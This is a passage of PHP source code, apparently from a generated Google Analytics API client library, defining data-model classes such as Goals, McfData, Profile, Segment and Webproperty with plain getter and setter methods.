'Google_Service_Analytics_GoalUrlDestinationDetailsSteps'; protected $stepsDataType = 'array'; public $url; public function setCaseSensitive($caseSensitive) { $this->caseSensitive = $caseSensitive; } public function getCaseSensitive() { return $this->caseSensitive; } public function setFirstStepRequired($firstStepRequired) { $this->firstStepRequired = $firstStepRequired; } public function getFirstStepRequired() { return $this->firstStepRequired; } public function setMatchType($matchType) { $this->matchType = $matchType; } public function getMatchType() { return $this->matchType; } public function setSteps($steps) { $this->steps = $steps; } public function getSteps() { return $this->steps; } public function setUrl($url) { $this->url = $url; } public function getUrl() { return $this->url; } } class Google_Service_Analytics_GoalUrlDestinationDetailsSteps extends Google_Model { public $name; public $number; public $url; public function setName($name) { $this->name = $name; } public function getName() { return $this->name; } public function setNumber($number) { $this->number = $number; } public function getNumber() { return $this->number; } public function setUrl($url) { $this->url = $url; } public function getUrl() { return $this->url; } } class Google_Service_Analytics_GoalVisitNumPagesDetails extends Google_Model { public $comparisonType; public $comparisonValue; public function setComparisonType($comparisonType) { $this->comparisonType = $comparisonType; } public function getComparisonType() { return $this->comparisonType; } public function setComparisonValue($comparisonValue) { $this->comparisonValue = $comparisonValue; } public function getComparisonValue() { return $this->comparisonValue; } } class Google_Service_Analytics_GoalVisitTimeOnSiteDetails extends Google_Model { public $comparisonType; public $comparisonValue; public function setComparisonType($comparisonType) { $this->comparisonType = $comparisonType; } public function getComparisonType() { return $this->comparisonType; } public function setComparisonValue($comparisonValue) { $this->comparisonValue = $comparisonValue; } public function getComparisonValue() { return $this->comparisonValue; } } class Google_Service_Analytics_Goals extends Google_Collection { protected $itemsType = 'Google_Service_Analytics_Goal'; protected $itemsDataType = 'array'; public $itemsPerPage; public $kind; public $nextLink; public $previousLink; public $startIndex; public $totalResults; public $username; public function setItems($items) { $this->items = $items; } public function getItems() { return $this->items; } public function setItemsPerPage($itemsPerPage) { $this->itemsPerPage = $itemsPerPage; } public function getItemsPerPage() { return $this->itemsPerPage; } public function setKind($kind) { $this->kind = $kind; } public function getKind() { return $this->kind; } public function setNextLink($nextLink) { $this->nextLink = $nextLink; } public function getNextLink() { return $this->nextLink; } public function setPreviousLink($previousLink) { $this->previousLink = $previousLink; } public function getPreviousLink() { return $this->previousLink; } public function setStartIndex($startIndex) { $this->startIndex = $startIndex; } public function getStartIndex() { return $this->startIndex; } public function setTotalResults($totalResults) { $this->totalResults = $totalResults; } public function getTotalResults() { return $this->totalResults; } public function setUsername($username) { $this->username = $username; } public function getUsername() { return $this->username; } } class Google_Service_Analytics_McfData extends Google_Collection { protected $columnHeadersType = 'Google_Service_Analytics_McfDataColumnHeaders'; protected $columnHeadersDataType = 'array'; public $containsSampledData; public $id; public $itemsPerPage; public $kind; public $nextLink; public $previousLink; protected $profileInfoType = 'Google_Service_Analytics_McfDataProfileInfo'; protected $profileInfoDataType = ''; protected $queryType = 'Google_Service_Analytics_McfDataQuery'; protected $queryDataType = ''; protected $rowsType = 'Google_Service_Analytics_McfDataRows'; protected $rowsDataType = 'array'; public $sampleSize; public $sampleSpace; public $selfLink; public $totalResults; public $totalsForAllResults; public function setColumnHeaders($columnHeaders) { $this->columnHeaders = $columnHeaders; } public function getColumnHeaders() { return $this->columnHeaders; } public function setContainsSampledData($containsSampledData) { $this->containsSampledData = $containsSampledData; } public function getContainsSampledData() { return $this->containsSampledData; } public function setId($id) { $this->id = $id; } public function getId() { return $this->id; } public function setItemsPerPage($itemsPerPage) { $this->itemsPerPage = $itemsPerPage; } public function getItemsPerPage() { return $this->itemsPerPage; } public function setKind($kind) { $this->kind = $kind; } public function getKind() { return $this->kind; } public function setNextLink($nextLink) { $this->nextLink = $nextLink; } public function getNextLink() { return $this->nextLink; } public function setPreviousLink($previousLink) { $this->previousLink = $previousLink; } public function getPreviousLink() { return $this->previousLink; } public function setProfileInfo(Google_Service_Analytics_McfDataProfileInfo $profileInfo) { $this->profileInfo = $profileInfo; } public function getProfileInfo() { return $this->profileInfo; } public function setQuery(Google_Service_Analytics_McfDataQuery $query) { $this->query = $query; } public function getQuery() { return $this->query; } public function setRows($rows) { $this->rows = $rows; } public function getRows() { return $this->rows; } public function setSampleSize($sampleSize) { $this->sampleSize = $sampleSize; } public function getSampleSize() { return $this->sampleSize; } public function setSampleSpace($sampleSpace) { $this->sampleSpace = $sampleSpace; } public function getSampleSpace() { return $this->sampleSpace; } public function setSelfLink($selfLink) { $this->selfLink = $selfLink; } public function getSelfLink() { return $this->selfLink; } public function setTotalResults($totalResults) { $this->totalResults = $totalResults; } public function getTotalResults() { return $this->totalResults; } public function setTotalsForAllResults($totalsForAllResults) { $this->totalsForAllResults = $totalsForAllResults; } public function getTotalsForAllResults() { return $this->totalsForAllResults; } } class Google_Service_Analytics_McfDataColumnHeaders extends Google_Model { public $columnType; public $dataType; public $name; public function setColumnType($columnType) { $this->columnType = $columnType; } public function getColumnType() { return $this->columnType; } public function setDataType($dataType) { $this->dataType = $dataType; } public function getDataType() { return $this->dataType; } public function setName($name) { $this->name = $name; } public function getName() { return $this->name; } } class Google_Service_Analytics_McfDataProfileInfo extends Google_Model { public $accountId; public $internalWebPropertyId; public $profileId; public $profileName; public $tableId; public $webPropertyId; public function setAccountId($accountId) { $this->accountId = $accountId; } public function getAccountId() { return $this->accountId; } public function setInternalWebPropertyId($internalWebPropertyId) { $this->internalWebPropertyId = $internalWebPropertyId; } public function getInternalWebPropertyId() { return $this->internalWebPropertyId; } public function setProfileId($profileId) { $this->profileId = $profileId; } public function getProfileId() { return $this->profileId; } public function setProfileName($profileName) { $this->profileName = $profileName; } public function getProfileName() { return $this->profileName; } public function setTableId($tableId) { $this->tableId = $tableId; } public function getTableId() { return $this->tableId; } public function setWebPropertyId($webPropertyId) { $this->webPropertyId = $webPropertyId; } public function getWebPropertyId() { return $this->webPropertyId; } } class Google_Service_Analytics_McfDataQuery extends Google_Collection { public $dimensions; public $endDate; public $filters; public $ids; public $maxResults; public $metrics; public $samplingLevel; public $segment; public $sort; public $startDate; public $startIndex; public function setDimensions($dimensions) { $this->dimensions = $dimensions; } public function getDimensions() { return $this->dimensions; } public function setEndDate($endDate) { $this->endDate = $endDate; } public function getEndDate() { return $this->endDate; } public function setFilters($filters) { $this->filters = $filters; } public function getFilters() { return $this->filters; } public function setIds($ids) { $this->ids = $ids; } public function getIds() { return $this->ids; } public function setMaxResults($maxResults) { $this->maxResults = $maxResults; } public function getMaxResults() { return $this->maxResults; } public function setMetrics($metrics) { $this->metrics = $metrics; } public function getMetrics() { return $this->metrics; } public function setSamplingLevel($samplingLevel) { $this->samplingLevel = $samplingLevel; } public function getSamplingLevel() { return $this->samplingLevel; } public function setSegment($segment) { $this->segment = $segment; } public function getSegment() { return $this->segment; } public function setSort($sort) { $this->sort = $sort; } public function getSort() { return $this->sort; } public function setStartDate($startDate) { $this->startDate = $startDate; } public function getStartDate() { return $this->startDate; } public function setStartIndex($startIndex) { $this->startIndex = $startIndex; } public function getStartIndex() { return $this->startIndex; } } class Google_Service_Analytics_McfDataRows extends Google_Collection { protected $conversionPathValueType = 'Google_Service_Analytics_McfDataRowsConversionPathValue'; protected $conversionPathValueDataType = 'array'; public $primitiveValue; public function setConversionPathValue($conversionPathValue) { $this->conversionPathValue = $conversionPathValue; } public function getConversionPathValue() { return $this->conversionPathValue; } public function setPrimitiveValue($primitiveValue) { $this->primitiveValue = $primitiveValue; } public function getPrimitiveValue() { return $this->primitiveValue; } } class Google_Service_Analytics_McfDataRowsConversionPathValue extends Google_Model { public $interactionType; public $nodeValue; public function setInteractionType($interactionType) { $this->interactionType = $interactionType; } public function getInteractionType() { return $this->interactionType; } public function setNodeValue($nodeValue) { $this->nodeValue = $nodeValue; } public function getNodeValue() { return $this->nodeValue; } } class Google_Service_Analytics_McfDataTotalsForAllResults extends Google_Model { } class Google_Service_Analytics_Profile extends Google_Model { public $accountId; protected $childLinkType = 'Google_Service_Analytics_ProfileChildLink'; protected $childLinkDataType = ''; public $created; public $currency; public $defaultPage; public $eCommerceTracking; public $excludeQueryParameters; public $id; public $internalWebPropertyId; public $kind; public $name; protected $parentLinkType = 'Google_Service_Analytics_ProfileParentLink'; protected $parentLinkDataType = ''; protected $permissionsType = 'Google_Service_Analytics_ProfilePermissions'; protected $permissionsDataType = ''; public $selfLink; public $siteSearchCategoryParameters; public $siteSearchQueryParameters; public $stripSiteSearchCategoryParameters; public $stripSiteSearchQueryParameters; public $timezone; public $type; public $updated; public $webPropertyId; public $websiteUrl; public function setAccountId($accountId) { $this->accountId = $accountId; } public function getAccountId() { return $this->accountId; } public function setChildLink(Google_Service_Analytics_ProfileChildLink $childLink) { $this->childLink = $childLink; } public function getChildLink() { return $this->childLink; } public function setCreated($created) { $this->created = $created; } public function getCreated() { return $this->created; } public function setCurrency($currency) { $this->currency = $currency; } public function getCurrency() { return $this->currency; } public function setDefaultPage($defaultPage) { $this->defaultPage = $defaultPage; } public function getDefaultPage() { return $this->defaultPage; } public function setECommerceTracking($eCommerceTracking) { $this->eCommerceTracking = $eCommerceTracking; } public function getECommerceTracking() { return $this->eCommerceTracking; } public function setExcludeQueryParameters($excludeQueryParameters) { $this->excludeQueryParameters = $excludeQueryParameters; } public function getExcludeQueryParameters() { return $this->excludeQueryParameters; } public function setId($id) { $this->id = $id; } public function getId() { return $this->id; } public function setInternalWebPropertyId($internalWebPropertyId) { $this->internalWebPropertyId = $internalWebPropertyId; } public function getInternalWebPropertyId() { return $this->internalWebPropertyId; } public function setKind($kind) { $this->kind = $kind; } public function getKind() { return $this->kind; } public function setName($name) { $this->name = $name; } public function getName() { return $this->name; } public function setParentLink(Google_Service_Analytics_ProfileParentLink $parentLink) { $this->parentLink = $parentLink; } public function getParentLink() { return $this->parentLink; } public function setPermissions(Google_Service_Analytics_ProfilePermissions $permissions) { $this->permissions = $permissions; } public function getPermissions() { return $this->permissions; } public function setSelfLink($selfLink) { $this->selfLink = $selfLink; } public function getSelfLink() { return $this->selfLink; } public function setSiteSearchCategoryParameters($siteSearchCategoryParameters) { $this->siteSearchCategoryParameters = $siteSearchCategoryParameters; } public function getSiteSearchCategoryParameters() { return $this->siteSearchCategoryParameters; } public function setSiteSearchQueryParameters($siteSearchQueryParameters) { $this->siteSearchQueryParameters = $siteSearchQueryParameters; } public function getSiteSearchQueryParameters() { return $this->siteSearchQueryParameters; } public function setStripSiteSearchCategoryParameters($stripSiteSearchCategoryParameters) { $this->stripSiteSearchCategoryParameters = $stripSiteSearchCategoryParameters; } public function getStripSiteSearchCategoryParameters() { return $this->stripSiteSearchCategoryParameters; } public function setStripSiteSearchQueryParameters($stripSiteSearchQueryParameters) { $this->stripSiteSearchQueryParameters = $stripSiteSearchQueryParameters; } public function getStripSiteSearchQueryParameters() { return $this->stripSiteSearchQueryParameters; } public function setTimezone($timezone) { $this->timezone = $timezone; } public function getTimezone() { return $this->timezone; } public function setType($type) { $this->type = $type; } public function getType() { return $this->type; } public function setUpdated($updated) { $this->updated = $updated; } public function getUpdated() { return $this->updated; } public function setWebPropertyId($webPropertyId) { $this->webPropertyId = $webPropertyId; } public function getWebPropertyId() { return $this->webPropertyId; } public function setWebsiteUrl($websiteUrl) { $this->websiteUrl = $websiteUrl; } public function getWebsiteUrl() { return $this->websiteUrl; } } class Google_Service_Analytics_ProfileChildLink extends Google_Model { public $href; public $type; public function setHref($href) { $this->href = $href; } public function getHref() { return $this->href; } public function setType($type) { $this->type = $type; } public function getType() { return $this->type; } } class Google_Service_Analytics_ProfileFilterLink extends Google_Model { protected $filterRefType = 'Google_Service_Analytics_FilterRef'; protected $filterRefDataType = ''; public $id; public $kind; protected $profileRefType = 'Google_Service_Analytics_ProfileRef'; protected $profileRefDataType = ''; public $rank; public $selfLink; public function setFilterRef(Google_Service_Analytics_FilterRef $filterRef) { $this->filterRef = $filterRef; } public function getFilterRef() { return $this->filterRef; } public function setId($id) { $this->id = $id; } public function getId() { return $this->id; } public function setKind($kind) { $this->kind = $kind; } public function getKind() { return $this->kind; } public function setProfileRef(Google_Service_Analytics_ProfileRef $profileRef) { $this->profileRef = $profileRef; } public function getProfileRef() { return $this->profileRef; } public function setRank($rank) { $this->rank = $rank; } public function getRank() { return $this->rank; } public function setSelfLink($selfLink) { $this->selfLink = $selfLink; } public function getSelfLink() { return $this->selfLink; } } class Google_Service_Analytics_ProfileFilterLinks extends Google_Collection { protected $itemsType = 'Google_Service_Analytics_ProfileFilterLink'; protected $itemsDataType = 'array'; public $itemsPerPage; public $kind; public $nextLink; public $previousLink; public $startIndex; public $totalResults; public $username; public function setItems($items) { $this->items = $items; } public function getItems() { return $this->items; } public function setItemsPerPage($itemsPerPage) { $this->itemsPerPage = $itemsPerPage; } public function getItemsPerPage() { return $this->itemsPerPage; } public function setKind($kind) { $this->kind = $kind; } public function getKind() { return $this->kind; } public function setNextLink($nextLink) { $this->nextLink = $nextLink; } public function getNextLink() { return $this->nextLink; } public function setPreviousLink($previousLink) { $this->previousLink = $previousLink; } public function getPreviousLink() { return $this->previousLink; } public function setStartIndex($startIndex) { $this->startIndex = $startIndex; } public function getStartIndex() { return $this->startIndex; } public function setTotalResults($totalResults) { $this->totalResults = $totalResults; } public function getTotalResults() { return $this->totalResults; } public function setUsername($username) { $this->username = $username; } public function getUsername() { return $this->username; } } class Google_Service_Analytics_ProfileParentLink extends Google_Model { public $href; public $type; public function setHref($href) { $this->href = $href; } public function getHref() { return $this->href; } public function setType($type) { $this->type = $type; } public function getType() { return $this->type; } } class Google_Service_Analytics_ProfilePermissions extends Google_Collection { public $effective; public function setEffective($effective) { $this->effective = $effective; } public function getEffective() { return $this->effective; } } class Google_Service_Analytics_ProfileRef extends Google_Model { public $accountId; public $href; public $id; public $internalWebPropertyId; public $kind; public $name; public $webPropertyId; public function setAccountId($accountId) { $this->accountId = $accountId; } public function getAccountId() { return $this->accountId; } public function setHref($href) { $this->href = $href; } public function getHref() { return $this->href; } public function setId($id) { $this->id = $id; } public function getId() { return $this->id; } public function setInternalWebPropertyId($internalWebPropertyId) { $this->internalWebPropertyId = $internalWebPropertyId; } public function getInternalWebPropertyId() { return $this->internalWebPropertyId; } public function setKind($kind) { $this->kind = $kind; } public function getKind() { return $this->kind; } public function setName($name) { $this->name = $name; } public function getName() { return $this->name; } public function setWebPropertyId($webPropertyId) { $this->webPropertyId = $webPropertyId; } public function getWebPropertyId() { return $this->webPropertyId; } } class Google_Service_Analytics_ProfileSummary extends Google_Model { public $id; public $kind; public $name; public $type; public function setId($id) { $this->id = $id; } public function getId() { return $this->id; } public function setKind($kind) { $this->kind = $kind; } public function getKind() { return $this->kind; } public function setName($name) { $this->name = $name; } public function getName() { return $this->name; } public function setType($type) { $this->type = $type; } public function getType() { return $this->type; } } class Google_Service_Analytics_Profiles extends Google_Collection { protected $itemsType = 'Google_Service_Analytics_Profile'; protected $itemsDataType = 'array'; public $itemsPerPage; public $kind; public $nextLink; public $previousLink; public $startIndex; public $totalResults; public $username; public function setItems($items) { $this->items = $items; } public function getItems() { return $this->items; } public function setItemsPerPage($itemsPerPage) { $this->itemsPerPage = $itemsPerPage; } public function getItemsPerPage() { return $this->itemsPerPage; } public function setKind($kind) { $this->kind = $kind; } public function getKind() { return $this->kind; } public function setNextLink($nextLink) { $this->nextLink = $nextLink; } public function getNextLink() { return $this->nextLink; } public function setPreviousLink($previousLink) { $this->previousLink = $previousLink; } public function getPreviousLink() { return $this->previousLink; } public function setStartIndex($startIndex) { $this->startIndex = $startIndex; } public function getStartIndex() { return $this->startIndex; } public function setTotalResults($totalResults) { $this->totalResults = $totalResults; } public function getTotalResults() { return $this->totalResults; } public function setUsername($username) { $this->username = $username; } public function getUsername() { return $this->username; } } class Google_Service_Analytics_RealtimeData extends Google_Collection { protected $columnHeadersType = 'Google_Service_Analytics_RealtimeDataColumnHeaders'; protected $columnHeadersDataType = 'array'; public $id; public $kind; protected $profileInfoType = 'Google_Service_Analytics_RealtimeDataProfileInfo'; protected $profileInfoDataType = ''; protected $queryType = 'Google_Service_Analytics_RealtimeDataQuery'; protected $queryDataType = ''; public $rows; public $selfLink; public $totalResults; public $totalsForAllResults; public function setColumnHeaders($columnHeaders) { $this->columnHeaders = $columnHeaders; } public function getColumnHeaders() { return $this->columnHeaders; } public function setId($id) { $this->id = $id; } public function getId() { return $this->id; } public function setKind($kind) { $this->kind = $kind; } public function getKind() { return $this->kind; } public function setProfileInfo(Google_Service_Analytics_RealtimeDataProfileInfo $profileInfo) { $this->profileInfo = $profileInfo; } public function getProfileInfo() { return $this->profileInfo; } public function setQuery(Google_Service_Analytics_RealtimeDataQuery $query) { $this->query = $query; } public function getQuery() { return $this->query; } public function setRows($rows) { $this->rows = $rows; } public function getRows() { return $this->rows; } public function setSelfLink($selfLink) { $this->selfLink = $selfLink; } public function getSelfLink() { return $this->selfLink; } public function setTotalResults($totalResults) { $this->totalResults = $totalResults; } public function getTotalResults() { return $this->totalResults; } public function setTotalsForAllResults($totalsForAllResults) { $this->totalsForAllResults = $totalsForAllResults; } public function getTotalsForAllResults() { return $this->totalsForAllResults; } } class Google_Service_Analytics_RealtimeDataColumnHeaders extends Google_Model { public $columnType; public $dataType; public $name; public function setColumnType($columnType) { $this->columnType = $columnType; } public function getColumnType() { return $this->columnType; } public function setDataType($dataType) { $this->dataType = $dataType; } public function getDataType() { return $this->dataType; } public function setName($name) { $this->name = $name; } public function getName() { return $this->name; } } class Google_Service_Analytics_RealtimeDataProfileInfo extends Google_Model { public $accountId; public $internalWebPropertyId; public $profileId; public $profileName; public $tableId; public $webPropertyId; public function setAccountId($accountId) { $this->accountId = $accountId; } public function getAccountId() { return $this->accountId; } public function setInternalWebPropertyId($internalWebPropertyId) { $this->internalWebPropertyId = $internalWebPropertyId; } public function getInternalWebPropertyId() { return $this->internalWebPropertyId; } public function setProfileId($profileId) { $this->profileId = $profileId; } public function getProfileId() { return $this->profileId; } public function setProfileName($profileName) { $this->profileName = $profileName; } public function getProfileName() { return $this->profileName; } public function setTableId($tableId) { $this->tableId = $tableId; } public function getTableId() { return $this->tableId; } public function setWebPropertyId($webPropertyId) { $this->webPropertyId = $webPropertyId; } public function getWebPropertyId() { return $this->webPropertyId; } } class Google_Service_Analytics_RealtimeDataQuery extends Google_Collection { public $dimensions; public $filters; public $ids; public $maxResults; public $metrics; public $sort; public function setDimensions($dimensions) { $this->dimensions = $dimensions; } public function getDimensions() { return $this->dimensions; } public function setFilters($filters) { $this->filters = $filters; } public function getFilters() { return $this->filters; } public function setIds($ids) { $this->ids = $ids; } public function getIds() { return $this->ids; } public function setMaxResults($maxResults) { $this->maxResults = $maxResults; } public function getMaxResults() { return $this->maxResults; } public function setMetrics($metrics) { $this->metrics = $metrics; } public function getMetrics() { return $this->metrics; } public function setSort($sort) { $this->sort = $sort; } public function getSort() { return $this->sort; } } class Google_Service_Analytics_RealtimeDataTotalsForAllResults extends Google_Model { } class Google_Service_Analytics_Segment extends Google_Model { public $created; public $definition; public $id; public $kind; public $name; public $segmentId; public $selfLink; public $type; public $updated; public function setCreated($created) { $this->created = $created; } public function getCreated() { return $this->created; } public function setDefinition($definition) { $this->definition = $definition; } public function getDefinition() { return $this->definition; } public function setId($id) { $this->id = $id; } public function getId() { return $this->id; } public function setKind($kind) { $this->kind = $kind; } public function getKind() { return $this->kind; } public function setName($name) { $this->name = $name; } public function getName() { return $this->name; } public function setSegmentId($segmentId) { $this->segmentId = $segmentId; } public function getSegmentId() { return $this->segmentId; } public function setSelfLink($selfLink) { $this->selfLink = $selfLink; } public function getSelfLink() { return $this->selfLink; } public function setType($type) { $this->type = $type; } public function getType() { return $this->type; } public function setUpdated($updated) { $this->updated = $updated; } public function getUpdated() { return $this->updated; } } class Google_Service_Analytics_Segments extends Google_Collection { protected $itemsType = 'Google_Service_Analytics_Segment'; protected $itemsDataType = 'array'; public $itemsPerPage; public $kind; public $nextLink; public $previousLink; public $startIndex; public $totalResults; public $username; public function setItems($items) { $this->items = $items; } public function getItems() { return $this->items; } public function setItemsPerPage($itemsPerPage) { $this->itemsPerPage = $itemsPerPage; } public function getItemsPerPage() { return $this->itemsPerPage; } public function setKind($kind) { $this->kind = $kind; } public function getKind() { return $this->kind; } public function setNextLink($nextLink) { $this->nextLink = $nextLink; } public function getNextLink() { return $this->nextLink; } public function setPreviousLink($previousLink) { $this->previousLink = $previousLink; } public function getPreviousLink() { return $this->previousLink; } public function setStartIndex($startIndex) { $this->startIndex = $startIndex; } public function getStartIndex() { return $this->startIndex; } public function setTotalResults($totalResults) { $this->totalResults = $totalResults; } public function getTotalResults() { return $this->totalResults; } public function setUsername($username) { $this->username = $username; } public function getUsername() { return $this->username; } } class Google_Service_Analytics_UnsampledReport extends Google_Model { public $accountId; protected $cloudStorageDownloadDetailsType = 'Google_Service_Analytics_UnsampledReportCloudStorageDownloadDetails'; protected $cloudStorageDownloadDetailsDataType = ''; public $created; public $dimensions; public $downloadType; protected $driveDownloadDetailsType = 'Google_Service_Analytics_UnsampledReportDriveDownloadDetails'; protected $driveDownloadDetailsDataType = ''; public $endDate; public $filters; public $id; public $kind; public $metrics; public $profileId; public $segment; public $selfLink; public $startDate; public $status; public $title; public $updated; public $webPropertyId; public function setAccountId($accountId) { $this->accountId = $accountId; } public function getAccountId() { return $this->accountId; } public function setCloudStorageDownloadDetails(Google_Service_Analytics_UnsampledReportCloudStorageDownloadDetails $cloudStorageDownloadDetails) { $this->cloudStorageDownloadDetails = $cloudStorageDownloadDetails; } public function getCloudStorageDownloadDetails() { return $this->cloudStorageDownloadDetails; } public function setCreated($created) { $this->created = $created; } public function getCreated() { return $this->created; } public function setDimensions($dimensions) { $this->dimensions = $dimensions; } public function getDimensions() { return $this->dimensions; } public function setDownloadType($downloadType) { $this->downloadType = $downloadType; } public function getDownloadType() { return $this->downloadType; } public function setDriveDownloadDetails(Google_Service_Analytics_UnsampledReportDriveDownloadDetails $driveDownloadDetails) { $this->driveDownloadDetails = $driveDownloadDetails; } public function getDriveDownloadDetails() { return $this->driveDownloadDetails; } public function setEndDate($endDate) { $this->endDate = $endDate; } public function getEndDate() { return $this->endDate; } public function setFilters($filters) { $this->filters = $filters; } public function getFilters() { return $this->filters; } public function setId($id) { $this->id = $id; } public function getId() { return $this->id; } public function setKind($kind) { $this->kind = $kind; } public function getKind() { return $this->kind; } public function setMetrics($metrics) { $this->metrics = $metrics; } public function getMetrics() { return $this->metrics; } public function setProfileId($profileId) { $this->profileId = $profileId; } public function getProfileId() { return $this->profileId; } public function setSegment($segment) { $this->segment = $segment; } public function getSegment() { return $this->segment; } public function setSelfLink($selfLink) { $this->selfLink = $selfLink; } public function getSelfLink() { return $this->selfLink; } public function setStartDate($startDate) { $this->startDate = $startDate; } public function getStartDate() { return $this->startDate; } public function setStatus($status) { $this->status = $status; } public function getStatus() { return $this->status; } public function setTitle($title) { $this->title = $title; } public function getTitle() { return $this->title; } public function setUpdated($updated) { $this->updated = $updated; } public function getUpdated() { return $this->updated; } public function setWebPropertyId($webPropertyId) { $this->webPropertyId = $webPropertyId; } public function getWebPropertyId() { return $this->webPropertyId; } } class Google_Service_Analytics_UnsampledReportCloudStorageDownloadDetails extends Google_Model { public $bucketId; public $objectId; public function setBucketId($bucketId) { $this->bucketId = $bucketId; } public function getBucketId() { return $this->bucketId; } public function setObjectId($objectId) { $this->objectId = $objectId; } public function getObjectId() { return $this->objectId; } } class Google_Service_Analytics_UnsampledReportDriveDownloadDetails extends Google_Model { public $documentId; public function setDocumentId($documentId) { $this->documentId = $documentId; } public function getDocumentId() { return $this->documentId; } } class Google_Service_Analytics_UnsampledReports extends Google_Collection { protected $itemsType = 'Google_Service_Analytics_UnsampledReport'; protected $itemsDataType = 'array'; public $itemsPerPage; public $kind; public $nextLink; public $previousLink; public $startIndex; public $totalResults; public $username; public function setItems($items) { $this->items = $items; } public function getItems() { return $this->items; } public function setItemsPerPage($itemsPerPage) { $this->itemsPerPage = $itemsPerPage; } public function getItemsPerPage() { return $this->itemsPerPage; } public function setKind($kind) { $this->kind = $kind; } public function getKind() { return $this->kind; } public function setNextLink($nextLink) { $this->nextLink = $nextLink; } public function getNextLink() { return $this->nextLink; } public function setPreviousLink($previousLink) { $this->previousLink = $previousLink; } public function getPreviousLink() { return $this->previousLink; } public function setStartIndex($startIndex) { $this->startIndex = $startIndex; } public function getStartIndex() { return $this->startIndex; } public function setTotalResults($totalResults) { $this->totalResults = $totalResults; } public function getTotalResults() { return $this->totalResults; } public function setUsername($username) { $this->username = $username; } public function getUsername() { return $this->username; } } class Google_Service_Analytics_Upload extends Google_Collection { public $accountId; public $customDataSourceId; public $errors; public $id; public $kind; public $status; public function setAccountId($accountId) { $this->accountId = $accountId; } public function getAccountId() { return $this->accountId; } public function setCustomDataSourceId($customDataSourceId) { $this->customDataSourceId = $customDataSourceId; } public function getCustomDataSourceId() { return $this->customDataSourceId; } public function setErrors($errors) { $this->errors = $errors; } public function getErrors() { return $this->errors; } public function setId($id) { $this->id = $id; } public function getId() { return $this->id; } public function setKind($kind) { $this->kind = $kind; } public function getKind() { return $this->kind; } public function setStatus($status) { $this->status = $status; } public function getStatus() { return $this->status; } } class Google_Service_Analytics_Uploads extends Google_Collection { protected $itemsType = 'Google_Service_Analytics_Upload'; protected $itemsDataType = 'array'; public $itemsPerPage; public $kind; public $nextLink; public $previousLink; public $startIndex; public $totalResults; public function setItems($items) { $this->items = $items; } public function getItems() { return $this->items; } public function setItemsPerPage($itemsPerPage) { $this->itemsPerPage = $itemsPerPage; } public function getItemsPerPage() { return $this->itemsPerPage; } public function setKind($kind) { $this->kind = $kind; } public function getKind() { return $this->kind; } public function setNextLink($nextLink) { $this->nextLink = $nextLink; } public function getNextLink() { return $this->nextLink; } public function setPreviousLink($previousLink) { $this->previousLink = $previousLink; } public function getPreviousLink() { return $this->previousLink; } public function setStartIndex($startIndex) { $this->startIndex = $startIndex; } public function getStartIndex() { return $this->startIndex; } public function setTotalResults($totalResults) { $this->totalResults = $totalResults; } public function getTotalResults() { return $this->totalResults; } } class Google_Service_Analytics_UserRef extends Google_Model { public $email; public $id; public $kind; public function setEmail($email) { $this->email = $email; } public function getEmail() { return $this->email; } public function setId($id) { $this->id = $id; } public function getId() { return $this->id; } public function setKind($kind) { $this->kind = $kind; } public function getKind() { return $this->kind; } } class Google_Service_Analytics_WebPropertyRef extends Google_Model { public $accountId; public $href; public $id; public $internalWebPropertyId; public $kind; public $name; public function setAccountId($accountId) { $this->accountId = $accountId; } public function getAccountId() { return $this->accountId; } public function setHref($href) { $this->href = $href; } public function getHref() { return $this->href; } public function setId($id) { $this->id = $id; } public function getId() { return $this->id; } public function setInternalWebPropertyId($internalWebPropertyId) { $this->internalWebPropertyId = $internalWebPropertyId; } public function getInternalWebPropertyId() { return $this->internalWebPropertyId; } public function setKind($kind) { $this->kind = $kind; } public function getKind() { return $this->kind; } public function setName($name) { $this->name = $name; } public function getName() { return $this->name; } } class Google_Service_Analytics_WebPropertySummary extends Google_Collection { public $id; public $internalWebPropertyId; public $kind; public $level; public $name; protected $profilesType = 'Google_Service_Analytics_ProfileSummary'; protected $profilesDataType = 'array'; public $websiteUrl; public function setId($id) { $this->id = $id; } public function getId() { return $this->id; } public function setInternalWebPropertyId($internalWebPropertyId) { $this->internalWebPropertyId = $internalWebPropertyId; } public function getInternalWebPropertyId() { return $this->internalWebPropertyId; } public function setKind($kind) { $this->kind = $kind; } public function getKind() { return $this->kind; } public function setLevel($level) { $this->level = $level; } public function getLevel() { return $this->level; } public function setName($name) { $this->name = $name; } public function getName() { return $this->name; } public function setProfiles($profiles) { $this->profiles = $profiles; } public function getProfiles() { return $this->profiles; } public function setWebsiteUrl($websiteUrl) { $this->websiteUrl = $websiteUrl; } public function getWebsiteUrl() { return $this->websiteUrl; } } class Google_Service_Analytics_Webproperties extends Google_Collection { protected $itemsType = 'Google_Service_Analytics_Webproperty'; protected $itemsDataType = 'array'; public $itemsPerPage; public $kind; public $nextLink; public $previousLink; public $startIndex; public $totalResults; public $username; public function setItems($items) { $this->items = $items; } public function getItems() { return $this->items; } public function setItemsPerPage($itemsPerPage) { $this->itemsPerPage = $itemsPerPage; } public function getItemsPerPage() { return $this->itemsPerPage; } public function setKind($kind) { $this->kind = $kind; } public function getKind() { return $this->kind; } public function setNextLink($nextLink) { $this->nextLink = $nextLink; } public function getNextLink() { return $this->nextLink; } public function setPreviousLink($previousLink) { $this->previousLink = $previousLink; } public function getPreviousLink() { return $this->previousLink; } public function setStartIndex($startIndex) { $this->startIndex = $startIndex; } public function getStartIndex() { return $this->startIndex; } public function setTotalResults($totalResults) { $this->totalResults = $totalResults; } public function getTotalResults() { return $this->totalResults; } public function setUsername($username) { $this->username = $username; } public function getUsername() { return $this->username; } } class Google_Service_Analytics_Webproperty extends Google_Model { public $accountId; protected $childLinkType = 'Google_Service_Analytics_WebpropertyChildLink'; protected $childLinkDataType = ''; public $created; public $defaultProfileId; public $id; public $industryVertical; public $internalWebPropertyId; public $kind; public $level; public $name; protected $parentLinkType = 'Google_Service_Analytics_WebpropertyParentLink'; protected $parentLinkDataType = ''; protected $permissionsType = 'Google_Service_Analytics_WebpropertyPermissions'; protected $permissionsDataType = ''; public $profileCount; public $selfLink; public $updated; public $websiteUrl; public function setAccountId($accountId) { $this->accountId = $accountId; } public function getAccountId() { return $this->accountId; } public function setChildLink(Google_Service_Analytics_WebpropertyChildLink $childLink) { $this->childLink = $childLink; } public function getChildLink() { return $this->childLink; } public function setCreated($created) { $this->created = $created; } public function getCreated() { return $this->created; } public function setDefaultProfileId($defaultProfileId) { $this->defaultProfileId = $defaultProfileId; } public function getDefaultProfileId() { return $this->defaultProfileId; } public function setId($id) { $this->id = $id; } public function getId() { return $this->id; } public function setIndustryVertical($industryVertical) { $this->industryVertical 